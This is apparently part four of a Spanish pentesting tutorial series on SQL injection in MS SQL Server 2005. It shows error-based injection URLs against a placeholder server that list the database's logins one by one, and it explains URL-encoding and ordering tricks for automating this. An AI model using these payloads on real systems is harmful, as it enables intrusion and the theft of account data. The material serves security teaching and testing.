Inyección de código SQL en MS SQL Server 2005 (Parte 4 de 6)

0

Visto 13836 veces | Publicado el 20/01/2010 | sql pentest hacking vulnerabilidades


Empieza la cuarta parte de la guía definitiva sobre la vulnerabilidad de Inyección de código SQL en MS SQL Server 2005 y cómo se explota. Después de ver de qué forma se obtiene diversa información del servidor y de las bases de datos existentes, toca ver qué usuarios existen en la aplicación y qué permisos tienen.

Para consultar el usuario con el que se conecta la aplicación a la base de datos se consulta con system_user, mediante la siguiente petición:

 

Como se ve en el resultado, el usuario es sa lo que significa que tenemos privilegios totales de lectura y escritura sobre el DBMS!!

Vamos a continuar obteniendo los usuarios del DBMS, esto no será siempre posible ya que dependerá de los privilegios que tenga el usuario con el que se conecta la aplicación al DBMS. Para consultar esta información vamos a consultar la tabla syslogins dentro de la tabla master, con la siguiente consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM master..syslogins))--

Y obtenemos el siguiente usuario: sa (system administrator)

 

Las novedades introducidas en la consulta son las siguientes:(SELECT top 1 name FROM master..syslogins)

  • top 1: la consulta devuelve muchos valores y esto produce el error Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression. por lo que tenemos que decirle que nos devuelva sólo uno, introduciendo esta clausula.

  • master..syslogins: la aplicación se conecta a la base de datos BASE_EJEMPLO por lo que si queremos consultar una tabla que pertenezca a una base de datos diferente dentro del DBMS tenemos que utilizar el formato <BASE_DE_DATOS>..<TABLA>.

Ahora vamos a obtener los diferentes usuarios del DBMS realizando comparaciones, es decir, al obtener el usuario sa vamos a pedir al DBMS otro usuario cuyo nombre sea mayor a sa, hasta obtener un error que nos indique que ya no existen más usuarios. Para ello realizamos la siguiente consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM master..syslogins where name>'sa'))--

 

Y obtenemos que el siguiente usuario es:

SERVER\SQLServer2005MSSQLUser$SERVER$MSSQLSERVER

Hay que remarcar las siguientes consideraciones:

  • Cuando comparamos que name>'sa' lo hacemos siguiendo la tabla ascii.

  • Hay caracteres que nos pueden dar problemas como por ejemplo el $, la # etc, por lo que tenemos que sustituirlos por su urlencoding, lo que sería sustituir el $ por %24 y el # por %23. Esto se puede realizar buscando su valor ascii en hexadecimal desde un sistema Windows en Inicio/Ejecutar e introducimos charmap y damos a Enter, lo que nos mostrará el mapa de caracteres donde podemos buscar el que nos interese "urlencodear".

Una vez que hemos obtenido este usuario haremos lo propio para obtener el siguiente con la consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM master..syslogins where name>'SERVER\SQLServer2005MSSQLUser%24SERVER%24MSSQLSERVER'))--

SERVER\SQLServer2005SQLAgentUser$SERVER$MSSQLSERVER

Y así sucesivamente con todos los usuarios:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM master..syslogins where name>'SERVER\SQLServer2005SQLAgentUser%24SERVER%24MSSQLSERVER'))--

Obteniendo usuario-pruebas.

Al obtener el error que nos indica que no hay más usuarios, pasamos a obtener los usuarios menores que sa, cambiando el signo > por <.

Esto mismo podemos hacerlo ordenando la consulta con la clausula ORDER BY name

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>''+order+by+name))--

Lo que facilita la automatización del proceso, ya que obtenemos el primer usuario y a partir de él obtenemos el resto con la consulta anterior.

El resultado de usuarios obtenidos es el siguiente:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>''+order+by+name))--

usuario: ##MS_AgentSigningCertificate##

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>'%24%24MS_AgentSigningCertificate%24%24'+order+by+name))--

usuario: BUILTIN\Administradores

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>'BUILTIN\Administradores'+order+by+name))--

usuario: NT AUTHORITY\Servicio de red

 

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>'NT AUTHORITY\Servicio de red'+order+by+name))--

usuario: NT AUTHORITY\SYSTEM

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT+top+1+name+FROM+master..syslogins+where+name>'NT AUTHORITY\SYSTEM'+order+by+name))--

usuario: sa.

Y el resto de usuarios ya los hemos obtenido anteriormente.

 

Ya se han obtenido diversos datos e información del servidor de bases de datos SQL, sistema operativo, versiones, usuarios, las bases de datos existentes, etc. En la siguiente entrega se verá de qué forma se consiguen las tablas de una determinada base de datos en concreto, e incluso los "hashes" de las contraseñas de los usuarios obtenidos anteriormente.



Añadir comentario











Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons